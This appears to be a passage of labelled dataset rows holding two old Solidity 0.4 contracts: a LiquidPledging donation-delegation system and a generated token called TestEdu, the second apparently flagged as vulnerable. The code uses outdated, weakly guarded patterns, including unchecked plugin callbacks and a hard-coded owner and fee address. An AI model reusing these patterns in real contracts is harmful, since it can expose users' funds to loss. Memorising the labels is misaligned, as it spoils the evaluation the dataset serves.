function beforeTransfer(
uint64 pledgeManager,
uint64 pledgeFrom,
uint64 pledgeTo,
uint64 context,
uint amount ) returns (uint maxAllowed);
function afterTransfer(
uint64 pledgeManager,
uint64 pledgeFrom,
uint64 pledgeTo,
uint64 context,
uint amount
);
}
pragma solidity ^0.4.15;
contract Owned {
address public owner;
address public newOwnerCandidate;
event OwnershipRequested(address indexed by, address indexed to);
event OwnershipTransferred(address indexed from, address indexed to);
event OwnershipRemoved();
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner() {
require (msg.sender == owner);
_;
}
function proposeOwnership(address _newOwnerCandidate) public onlyOwner {
newOwnerCandidate = _newOwnerCandidate;
OwnershipRequested(msg.sender, newOwnerCandidate);
}
function acceptOwnership() public {
require(msg.sender == newOwnerCandidate);
address oldOwner = owner;
owner = newOwnerCandidate;
newOwnerCandidate = 0x0;
OwnershipTransferred(oldOwner, owner);
}
function changeOwnership(address _newOwner) public onlyOwner {
require(_newOwner != 0x0);
address oldOwner = owner;
owner = _newOwner;
newOwnerCandidate = 0x0;
OwnershipTransferred(oldOwner, owner);
}
function removeOwnership(address _dac) public onlyOwner {
require(_dac == 0xdac);
owner = 0x0;
newOwnerCandidate = 0x0;
OwnershipRemoved();
}
}
pragma solidity ^0.4.15;
contract ERC20 {
function totalSupply() public constant returns (uint256 supply);
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
pragma solidity ^0.4.15;
contract Escapable is Owned {
address public escapeHatchCaller;
address public escapeHatchDestination;
mapping (address=>bool) private escapeBlacklist;
function Escapable(address _escapeHatchCaller, address _escapeHatchDestination) public {
escapeHatchCaller = _escapeHatchCaller;
escapeHatchDestination = _escapeHatchDestination;
}
modifier onlyEscapeHatchCallerOrOwner {
require ((msg.sender == escapeHatchCaller)||(msg.sender == owner));
_;
}
function blacklistEscapeToken(address _token) internal {
escapeBlacklist[_token] = true;
EscapeHatchBlackistedToken(_token);
}
function isTokenEscapable(address _token) constant public returns (bool) {
return !escapeBlacklist[_token];
}
function escapeHatch(address _token) public onlyEscapeHatchCallerOrOwner {
require(escapeBlacklist[_token]==false);
uint256 balance;
if (_token == 0x0) {
balance = this.balance;
escapeHatchDestination.transfer(balance);
EscapeHatchCalled(_token, balance);
return;
}
ERC20 token = ERC20(_token);
balance = token.balanceOf(this);
require(token.transfer(escapeHatchDestination, balance));
EscapeHatchCalled(_token, balance);
}
function changeHatchEscapeCaller(address _newEscapeHatchCaller) public onlyEscapeHatchCallerOrOwner {
escapeHatchCaller = _newEscapeHatchCaller;
}
event EscapeHatchBlackistedToken(address token);
event EscapeHatchCalled(address token, uint amount);
}
pragma solidity ^0.4.11;
interface LPVault {
function authorizePayment(bytes32 _ref, address _dest, uint _amount);
function () payable;
}
contract LiquidPledgingBase is Escapable {
uint constant MAX_DELEGATES = 10;
uint constant MAX_SUBPROJECT_LEVEL = 20;
uint constant MAX_INTERPROJECT_LEVEL = 20;
enum PledgeAdminType { Giver, Delegate, Project }
enum PledgeState { Pledged, Paying, Paid }
struct PledgeAdmin {
PledgeAdminType adminType;
address addr;
string name;
string url;
uint64 commitTime;
uint64 parentProject;
bool canceled;
ILiquidPledgingPlugin plugin;
}
struct Pledge {
uint amount;
uint64 owner;
uint64[] delegationChain;
uint64 intendedProject;
uint64 commitTime;
uint64 oldPledge;
PledgeState pledgeState;
}
Pledge[] pledges;
PledgeAdmin[] admins;
LPVault public vault;
mapping (bytes32 => uint64) hPledge2idx;
mapping (bytes32 => bool) pluginWhitelist;
bool public usePluginWhitelist = true;
modifier onlyVault() {
require(msg.sender == address(vault));
_;
}
function LiquidPledgingBase(
address _vault,
address _escapeHatchCaller,
address _escapeHatchDestination
) Escapable(_escapeHatchCaller, _escapeHatchDestination) public {
admins.length = 1;
pledges.length = 1;
vault = LPVault(_vault);
}
function addGiver(
string name,
string url,
uint64 commitTime,
ILiquidPledgingPlugin plugin
) returns (uint64 idGiver) {
require(isValidPlugin(plugin));
idGiver = uint64(admins.length);
admins.push(PledgeAdmin(
PledgeAdminType.Giver,
msg.sender,
name,
url,
commitTime,
0,
false,
plugin));
GiverAdded(idGiver);
}
event GiverAdded(uint64 indexed idGiver);
function updateGiver(
uint64 idGiver,
address newAddr,
string newName,
string newUrl,
uint64 newCommitTime)
{
PledgeAdmin storage giver = findAdmin(idGiver);
require(giver.adminType == PledgeAdminType.Giver);
require(giver.addr == msg.sender);
giver.addr = newAddr;
giver.name = newName;
giver.url = newUrl;
giver.commitTime = newCommitTime;
GiverUpdated(idGiver);
}
event GiverUpdated(uint64 indexed idGiver);
function addDelegate(
string name,
string url,
uint64 commitTime,
ILiquidPledgingPlugin plugin
) returns (uint64 idDelegate) {
require(isValidPlugin(plugin));
idDelegate = uint64(admins.length);
admins.push(PledgeAdmin(
PledgeAdminType.Delegate,
msg.sender,
name,
url,
commitTime,
0,
false,
plugin));
DelegateAdded(idDelegate);
}
event DelegateAdded(uint64 indexed idDelegate);
function updateDelegate(
uint64 idDelegate,
address newAddr,
string newName,
string newUrl,
uint64 newCommitTime) {
PledgeAdmin storage delegate = findAdmin(idDelegate);
require(delegate.adminType == PledgeAdminType.Delegate);
require(delegate.addr == msg.sender);
delegate.addr = newAddr;
delegate.name = newName;
delegate.url = newUrl;
delegate.commitTime = newCommitTime;
DelegateUpdated(idDelegate);
}
event DelegateUpdated(uint64 indexed idDelegate);
function addProject(
string name,
string url,
address projectAdmin,
uint64 parentProject,
uint64 commitTime,
ILiquidPledgingPlugin plugin
) returns (uint64 idProject) {
require(isValidPlugin(plugin));
if (parentProject != 0) {
PledgeAdmin storage pa = findAdmin(parentProject);
require(pa.adminType == PledgeAdminType.Project);
require(getProjectLevel(pa) < MAX_SUBPROJECT_LEVEL);
}
idProject = uint64(admins.length);
admins.push(PledgeAdmin(
PledgeAdminType.Project,
projectAdmin,
name,
url,
commitTime,
parentProject,
false,
plugin));
ProjectAdded(idProject);
}
event ProjectAdded(uint64 indexed idProject);
function updateProject(
uint64 idProject,
address newAddr,
string newName,
string newUrl,
uint64 newCommitTime)
{
PledgeAdmin storage project = findAdmin(idProject);
require(project.adminType == PledgeAdminType.Project);
require(project.addr == msg.sender);
project.addr = newAddr;
project.name = newName;
project.url = newUrl;
project.commitTime = newCommitTime;
ProjectUpdated(idProject);
}
event ProjectUpdated(uint64 indexed idAdmin);
function numberOfPledges() constant returns (uint) {
return pledges.length - 1;
}
function getPledge(uint64 idPledge) constant returns(
uint amount,
uint64 owner,
uint64 nDelegates,
uint64 intendedProject,
uint64 commitTime,
uint64 oldPledge,
PledgeState pledgeState
) {
Pledge storage p = findPledge(idPledge);
amount = p.amount;
owner = p.owner;
nDelegates = uint64(p.delegationChain.length);
intendedProject = p.intendedProject;
commitTime = p.commitTime;
oldPledge = p.oldPledge;
pledgeState = p.pledgeState;
}
function getPledgeDelegate(uint64 idPledge, uint idxDelegate) constant returns(
uint64 idDelegate,
address addr,
string name
) {
Pledge storage p = findPledge(idPledge);
idDelegate = p.delegationChain[idxDelegate - 1];
PledgeAdmin storage delegate = findAdmin(idDelegate);
addr = delegate.addr;
name = delegate.name;
}
function numberOfPledgeAdmins() constant returns(uint) {
return admins.length - 1;
}
function getPledgeAdmin(uint64 idAdmin) constant returns (
PledgeAdminType adminType,
address addr,
string name,
string url,
uint64 commitTime,
uint64 parentProject,
bool canceled,
address plugin)
{
PledgeAdmin storage m = findAdmin(idAdmin);
adminType = m.adminType;
addr = m.addr;
name = m.name;
url = m.url;
commitTime = m.commitTime;
parentProject = m.parentProject;
canceled = m.canceled;
plugin = address(m.plugin);
}
function findOrCreatePledge(
uint64 owner,
uint64[] delegationChain,
uint64 intendedProject,
uint64 commitTime,
uint64 oldPledge,
PledgeState state
) internal returns (uint64)
{
bytes32 hPledge = sha3(
owner, delegationChain, intendedProject, commitTime, oldPledge, state);
uint64 idx = hPledge2idx[hPledge];
if (idx > 0) return idx;
idx = uint64(pledges.length);
hPledge2idx[hPledge] = idx;
pledges.push(Pledge(
0, owner, delegationChain, intendedProject, commitTime, oldPledge, state));
return idx;
}
function findAdmin(uint64 idAdmin) internal returns (PledgeAdmin storage) {
require(idAdmin < admins.length);
return admins[idAdmin];
}
function findPledge(uint64 idPledge) internal returns (Pledge storage) {
require(idPledge < pledges.length);
return pledges[idPledge];
}
uint64 constant NOTFOUND = 0xFFFFFFFFFFFFFFFF;
function getDelegateIdx(Pledge p, uint64 idDelegate) internal returns(uint64) {
for (uint i=0; i < p.delegationChain.length; i++) {
if (p.delegationChain[i] == idDelegate) return uint64(i);
}
return NOTFOUND;
}
function getPledgeLevel(Pledge p) internal returns(uint) {
if (p.oldPledge == 0) return 0;
Pledge storage oldN = findPledge(p.oldPledge);
return getPledgeLevel(oldN) + 1;
}
function maxCommitTime(Pledge p) internal returns(uint commitTime) {
PledgeAdmin storage m = findAdmin(p.owner);
commitTime = m.commitTime;
for (uint i=0; i<p.delegationChain.length; i++) {
m = findAdmin(p.delegationChain[i]);
if (m.commitTime > commitTime) commitTime = m.commitTime;
}
}
function getProjectLevel(PledgeAdmin m) internal returns(uint) {
assert(m.adminType == PledgeAdminType.Project);
if (m.parentProject == 0) return(1);
PledgeAdmin storage parentNM = findAdmin(m.parentProject);
return getProjectLevel(parentNM) + 1;
}
function isProjectCanceled(uint64 projectId) constant returns (bool) {
PledgeAdmin storage m = findAdmin(projectId);
if (m.adminType == PledgeAdminType.Giver) return false;
assert(m.adminType == PledgeAdminType.Project);
if (m.canceled) return true;
if (m.parentProject == 0) return false;
return isProjectCanceled(m.parentProject);
}
function getOldestPledgeNotCanceled(uint64 idPledge
) internal constant returns(uint64) {
if (idPledge == 0) return 0;
Pledge storage p = findPledge(idPledge);
PledgeAdmin storage admin = findAdmin(p.owner);
if (admin.adminType == PledgeAdminType.Giver) return idPledge;
assert(admin.adminType == PledgeAdminType.Project);
if (!isProjectCanceled(p.owner)) return idPledge;
return getOldestPledgeNotCanceled(p.oldPledge);
}
function checkAdminOwner(PledgeAdmin m) internal constant {
require((msg.sender == m.addr) || (msg.sender == address(m.plugin)));
}
function addValidPlugin(bytes32 contractHash) external onlyOwner {
pluginWhitelist[contractHash] = true;
}
function removeValidPlugin(bytes32 contractHash) external onlyOwner {
pluginWhitelist[contractHash] = false;
}
function useWhitelist(bool useWhitelist) external onlyOwner {
usePluginWhitelist = useWhitelist;
}
function isValidPlugin(address addr) public returns(bool) {
if (!usePluginWhitelist || addr == 0x0) return true;
bytes32 contractHash = getCodeHash(addr);
return pluginWhitelist[contractHash];
}
function getCodeHash(address addr) public returns(bytes32) {
bytes memory o_code;
assembly {
let size := extcodesize(addr)
o_code := mload(0x40)
mstore(0x40, add(o_code, and(add(add(size, 0x20), 0x1f), not(0x1f))))
mstore(o_code, size)
extcodecopy(addr, add(o_code, 0x20), 0, size)
}
return keccak256(o_code);
}
}
pragma solidity ^0.4.11;
contract LiquidPledging is LiquidPledgingBase {
function LiquidPledging(
address _vault,
address _escapeHatchCaller,
address _escapeHatchDestination
) LiquidPledgingBase(_vault, _escapeHatchCaller, _escapeHatchDestination) {
}
function donate(uint64 idGiver, uint64 idReceiver) payable {
if (idGiver == 0) {
idGiver = addGiver("", "", 259200, ILiquidPledgingPlugin(0x0));
}
PledgeAdmin storage sender = findAdmin(idGiver);
checkAdminOwner(sender);
require(sender.adminType == PledgeAdminType.Giver);
uint amount = msg.value;
require(amount > 0);
vault.transfer(amount);
uint64 idPledge = findOrCreatePledge(
idGiver,
new uint64[](0),
0,
0,
0,
PledgeState.Pledged
);
Pledge storage nTo = findPledge(idPledge);
nTo.amount += amount;
Transfer(0, idPledge, amount);
transfer(idGiver, idPledge, amount, idReceiver);
}
function transfer(
uint64 idSender,
uint64 idPledge,
uint amount,
uint64 idReceiver
){
idPledge = normalizePledge(idPledge);
Pledge storage p = findPledge(idPledge);
PledgeAdmin storage receiver = findAdmin(idReceiver);
PledgeAdmin storage sender = findAdmin(idSender);
checkAdminOwner(sender);
require(p.pledgeState == PledgeState.Pledged);
if (p.owner == idSender) {
if (receiver.adminType == PledgeAdminType.Giver) {
transferOwnershipToGiver(idPledge, amount, idReceiver);
} else if (receiver.adminType == PledgeAdminType.Project) {
transferOwnershipToProject(idPledge, amount, idReceiver);
} else if (receiver.adminType == PledgeAdminType.Delegate) {
uint recieverDIdx = getDelegateIdx(p, idReceiver);
if (p.intendedProject > 0 && recieverDIdx != NOTFOUND) {
if (recieverDIdx == p.delegationChain.length - 1) {
uint64 toPledge = findOrCreatePledge(
p.owner,
p.delegationChain,
0,
0,
p.oldPledge,
PledgeState.Pledged);
doTransfer(idPledge, toPledge, amount);
} else {
undelegate(idPledge, amount, p.delegationChain.length - receiverDIdx - 1);
}
} else {
idPledge = undelegate(
idPledge,
amount,
p.delegationChain.length
);
appendDelegate(idPledge, amount, idReceiver);
}
} else {
assert(false);
}
return;
}
uint senderDIdx = getDelegateIdx(p, idSender);
if (senderDIdx != NOTFOUND) {
if (receiver.adminType == PledgeAdminType.Giver) {
assert(p.owner == idReceiver);
undelegate(idPledge, amount, p.delegationChain.length);
return;
}
if (receiver.adminType == PledgeAdminType.Delegate) {
uint receiverDIdx = getDelegateIdx(p, idReceiver);
if (receiverDIdx == NOTFOUND) {
idPledge = undelegate(
idPledge,
amount,
p.delegationChain.length - senderDIdx - 1
);
appendDelegate(idPledge, amount, idReceiver);
} else if (receiverDIdx > senderDIdx) {
idPledge = undelegate(
idPledge,
amount,
p.delegationChain.length - senderDIdx - 1
);
appendDelegate(idPledge, amount, idReceiver);
} else if (receiverDIdx <= senderDIdx) {
undelegate(
idPledge,
amount,
p.delegationChain.length - receiverDIdx - 1
);
}
return;
}
if (receiver.adminType == PledgeAdminType.Project) {
idPledge = undelegate(
idPledge,
amount,
p.delegationChain.length - senderDIdx - 1
);
proposeAssignProject(idPledge, amount, idReceiver);
return;
}
}
assert(false);
}
function withdraw(uint64 idPledge, uint amount) {
idPledge = normalizePledge(idPledge);
Pledge storage p = findPledge(idPledge);
require(p.pledgeState == PledgeState.Pledged);
PledgeAdmin storage owner = findAdmin(p.owner);
checkAdminOwner(owner);
uint64 idNewPledge = findOrCreatePledge(
p.owner,
p.delegationChain,
0,
0,
p.oldPledge,
PledgeState.Paying
);
doTransfer(idPledge, idNewPledge, amount);
vault.authorizePayment(bytes32(idNewPledge), owner.addr, amount);
}
function confirmPayment(uint64 idPledge, uint amount) onlyVault {
Pledge storage p = findPledge(idPledge);
require(p.pledgeState == PledgeState.Paying);
uint64 idNewPledge = findOrCreatePledge(
p.owner,
p.delegationChain,
0,
0,
p.oldPledge,
PledgeState.Paid
);
doTransfer(idPledge, idNewPledge, amount);
}
function cancelPayment(uint64 idPledge, uint amount) onlyVault {
Pledge storage p = findPledge(idPledge);
require(p.pledgeState == PledgeState.Paying);
uint64 oldPledge = findOrCreatePledge(
p.owner,
p.delegationChain,
0,
0,
p.oldPledge,
PledgeState.Pledged
);
oldPledge = normalizePledge(oldPledge);
doTransfer(idPledge, oldPledge, amount);
}
function cancelProject(uint64 idProject) {
PledgeAdmin storage project = findAdmin(idProject);
checkAdminOwner(project);
project.canceled = true;
CancelProject(idProject);
}
function cancelPledge(uint64 idPledge, uint amount) {
idPledge = normalizePledge(idPledge);
Pledge storage p = findPledge(idPledge);
require(p.oldPledge != 0);
PledgeAdmin storage m = findAdmin(p.owner);
checkAdminOwner(m);
uint64 oldPledge = getOldestPledgeNotCanceled(p.oldPledge);
doTransfer(idPledge, oldPledge, amount);
}
uint constant D64 = 0x10000000000000000;
function mTransfer(
uint64 idSender,
uint[] pledgesAmounts,
uint64 idReceiver
) {
for (uint i = 0; i < pledgesAmounts.length; i++ ) {
uint64 idPledge = uint64( pledgesAmounts[i] & (D64-1) );
uint amount = pledgesAmounts[i] / D64;
transfer(idSender, idPledge, amount, idReceiver);
}
}
function mWithdraw(uint[] pledgesAmounts) {
for (uint i = 0; i < pledgesAmounts.length; i++ ) {
uint64 idPledge = uint64( pledgesAmounts[i] & (D64-1) );
uint amount = pledgesAmounts[i] / D64;
withdraw(idPledge, amount);
}
}
function mConfirmPayment(uint[] pledgesAmounts) {
for (uint i = 0; i < pledgesAmounts.length; i++ ) {
uint64 idPledge = uint64( pledgesAmounts[i] & (D64-1) );
uint amount = pledgesAmounts[i] / D64;
confirmPayment(idPledge, amount);
}
}
function mCancelPayment(uint[] pledgesAmounts) {
for (uint i = 0; i < pledgesAmounts.length; i++ ) {
uint64 idPledge = uint64( pledgesAmounts[i] & (D64-1) );
uint amount = pledgesAmounts[i] / D64;
cancelPayment(idPledge, amount);
}
}
function mNormalizePledge(uint64[] pledges) {
for (uint i = 0; i < pledges.length; i++ ) {
normalizePledge( pledges[i] );
}
}
function transferOwnershipToProject(
uint64 idPledge,
uint amount,
uint64 idReceiver
) internal {
Pledge storage p = findPledge(idPledge);
require(getPledgeLevel(p) < MAX_INTERPROJECT_LEVEL);
require(!isProjectCanceled(idReceiver));
uint64 oldPledge = findOrCreatePledge(
p.owner,
p.delegationChain,
0,
0,
p.oldPledge,
PledgeState.Pledged
);
uint64 toPledge = findOrCreatePledge(
idReceiver,
new uint64[](0),
0,
0,
oldPledge,
PledgeState.Pledged
);
doTransfer(idPledge, toPledge, amount);
}
function transferOwnershipToGiver(
uint64 idPledge,
uint amount,
uint64 idReceiver
) internal {
uint64 toPledge = findOrCreatePledge(
idReceiver,
new uint64[](0),
0,
0,
0,
PledgeState.Pledged
);
doTransfer(idPledge, toPledge, amount);
}
function appendDelegate(
uint64 idPledge,
uint amount,
uint64 idReceiver
) internal {
Pledge storage p = findPledge(idPledge);
require(p.delegationChain.length < MAX_DELEGATES);
uint64[] memory newDelegationChain = new uint64[](
p.delegationChain.length + 1
);
for (uint i = 0; i<p.delegationChain.length; i++) {
newDelegationChain[i] = p.delegationChain[i];
}
newDelegationChain[p.delegationChain.length] = idReceiver;
uint64 toPledge = findOrCreatePledge(
p.owner,
newDelegationChain,
0,
0,
p.oldPledge,
PledgeState.Pledged
);
doTransfer(idPledge, toPledge, amount);
}
function undelegate(
uint64 idPledge,
uint amount,
uint q
) internal returns (uint64)
{
Pledge storage p = findPledge(idPledge);
uint64[] memory newDelegationChain = new uint64[](
p.delegationChain.length - q
);
for (uint i=0; i<p.delegationChain.length - q; i++) {
newDelegationChain[i] = p.delegationChain[i];
}
uint64 toPledge = findOrCreatePledge(
p.owner,
newDelegationChain,
0,
0,
p.oldPledge,
PledgeState.Pledged
);
doTransfer(idPledge, toPledge, amount);
return toPledge;
}
function proposeAssignProject(
uint64 idPledge,
uint amount,
uint64 idReceiver
) internal {
Pledge storage p = findPledge(idPledge);
require(getPledgeLevel(p) < MAX_INTERPROJECT_LEVEL);
require(!isProjectCanceled(idReceiver));
uint64 toPledge = findOrCreatePledge(
p.owner,
p.delegationChain,
idReceiver,
uint64(getTime() + maxCommitTime(p)),
p.oldPledge,
PledgeState.Pledged
);
doTransfer(idPledge, toPledge, amount);
}
function doTransfer(uint64 from, uint64 to, uint _amount) internal {
uint amount = callPlugins(true, from, to, _amount);
if (from == to) {
return;
}
if (amount == 0) {
return;
}
Pledge storage nFrom = findPledge(from);
Pledge storage nTo = findPledge(to);
require(nFrom.amount >= amount);
nFrom.amount -= amount;
nTo.amount += amount;
Transfer(from, to, amount);
callPlugins(false, from, to, amount);
}
function normalizePledge(uint64 idPledge) returns(uint64) {
Pledge storage p = findPledge(idPledge);
if (p.pledgeState != PledgeState.Pledged) {
return idPledge;
}
if ((p.intendedProject > 0) && ( getTime() > p.commitTime)) {
uint64 oldPledge = findOrCreatePledge(
p.owner,
p.delegationChain,
0,
0,
p.oldPledge,
PledgeState.Pledged
);
uint64 toPledge = findOrCreatePledge(
p.intendedProject,
new uint64[](0),
0,
0,
oldPledge,
PledgeState.Pledged
);
doTransfer(idPledge, toPledge, p.amount);
idPledge = toPledge;
p = findPledge(idPledge);
}
toPledge = getOldestPledgeNotCanceled(idPledge);
if (toPledge != idPledge) {
doTransfer(idPledge, toPledge, p.amount);
}
return toPledge;
}
function callPlugin(
bool before,
uint64 adminId,
uint64 fromPledge,
uint64 toPledge,
uint64 context,
uint amount
) internal returns (uint allowedAmount) {
uint newAmount;
allowedAmount = amount;
PledgeAdmin storage admin = findAdmin(adminId);
if ((address(admin.plugin) != 0) && (allowedAmount > 0)) {
if (before) {
newAmount = admin.plugin.beforeTransfer(
adminId,
fromPledge,
toPledge,
context,
amount
);
require(newAmount <= allowedAmount);
allowedAmount = newAmount;
} else {
admin.plugin.afterTransfer(
adminId,
fromPledge,
toPledge,
context,
amount
);
}
}
}
function callPluginsPledge(
bool before,
uint64 idPledge,
uint64 fromPledge,
uint64 toPledge,
uint amount
) internal returns (uint allowedAmount) {
uint64 offset = idPledge == fromPledge ? 0 : 256;
allowedAmount = amount;
Pledge storage p = findPledge(idPledge);
allowedAmount = callPlugin(
before,
p.owner,
fromPledge,
toPledge,
offset,
allowedAmount
);
for (uint64 i=0; i<p.delegationChain.length; i++) {
allowedAmount = callPlugin(
before,
p.delegationChain[i],
fromPledge,
toPledge,
offset + i+1,
allowedAmount
);
}
if (p.intendedProject > 0) {
allowedAmount = callPlugin(
before,
p.intendedProject,
fromPledge,
toPledge,
offset + 255,
allowedAmount
);
}
}
function callPlugins(
bool before,
uint64 fromPledge,
uint64 toPledge,
uint amount
) internal returns (uint allowedAmount) {
allowedAmount = amount;
allowedAmount = callPluginsPledge(
before,
fromPledge,
fromPledge,
toPledge,
allowedAmount
);
allowedAmount = callPluginsPledge(
before,
toPledge,
fromPledge,
toPledge,
allowedAmount
);
}
function getTime() internal returns (uint) {
return now;
}
event Transfer(uint64 indexed from, uint64 indexed to, uint amount);
event CancelProject(uint64 indexed idProject);
} | 0 | 2,384 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract TestEdu {
string public constant name = "TestEdu";
string public constant symbol = "Pou";
uint8 public constant decimals = 12;
uint public _totalSupply = 9000000000000000000;
uint256 public RATE = 1;
bool public isMinting = false;
bool public isExchangeListed = false;
string public constant generatedBy = "Togen.io by Proof Suite";
using SafeMath for uint256;
address public owner;
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
mapping(address => uint256) balances;
mapping(address => mapping(address=>uint256)) allowed;
function () payable{
createTokens();
}
constructor() public payable {
address originalFeeReceive = 0x6661084EAF2DD24aCAaDe2443292Be76eb344888;
if(isExchangeListed == false){
originalFeeReceive.transfer(500000000000000000);
}
else{
originalFeeReceive.transfer(3500000000000000000);
}
owner = 0x6a3cd27985f5667f9c245255ab18d2add6c8eb40;
balances[owner] = _totalSupply;
}
function burnTokens(uint256 _value) onlyOwner {
require(balances[msg.sender] >= _value && _value > 0 );
_totalSupply = _totalSupply.sub(_value);
balances[msg.sender] = balances[msg.sender].sub(_value);
}
function createTokens() payable {
if(isMinting == true){
require(msg.value > 0);
uint256 tokens = msg.value.div(100000000000000).mul(RATE);
balances[msg.sender] = balances[msg.sender].add(tokens);
_totalSupply = _totalSupply.add(tokens);
owner.transfer(msg.value);
}
else{
throw;
}
}
function endCrowdsale() onlyOwner {
isMinting = false;
}
function changeCrowdsaleRate(uint256 _value) onlyOwner {
RATE = _value;
}
function totalSupply() constant returns(uint256){
return _totalSupply;
}
function balanceOf(address _owner) constant returns(uint256){
return balances[_owner];
}
function transfer(address _to, uint256 _value) returns(bool) {
require(balances[msg.sender] >= _value && _value > 0 );
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns(bool) {
require(allowed[_from][msg.sender] >= _value && balances[_from] >= _value && _value > 0);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns(bool){
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns(uint256){
return allowed[_owner][_spender];
}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
} | 1 | 4,246 |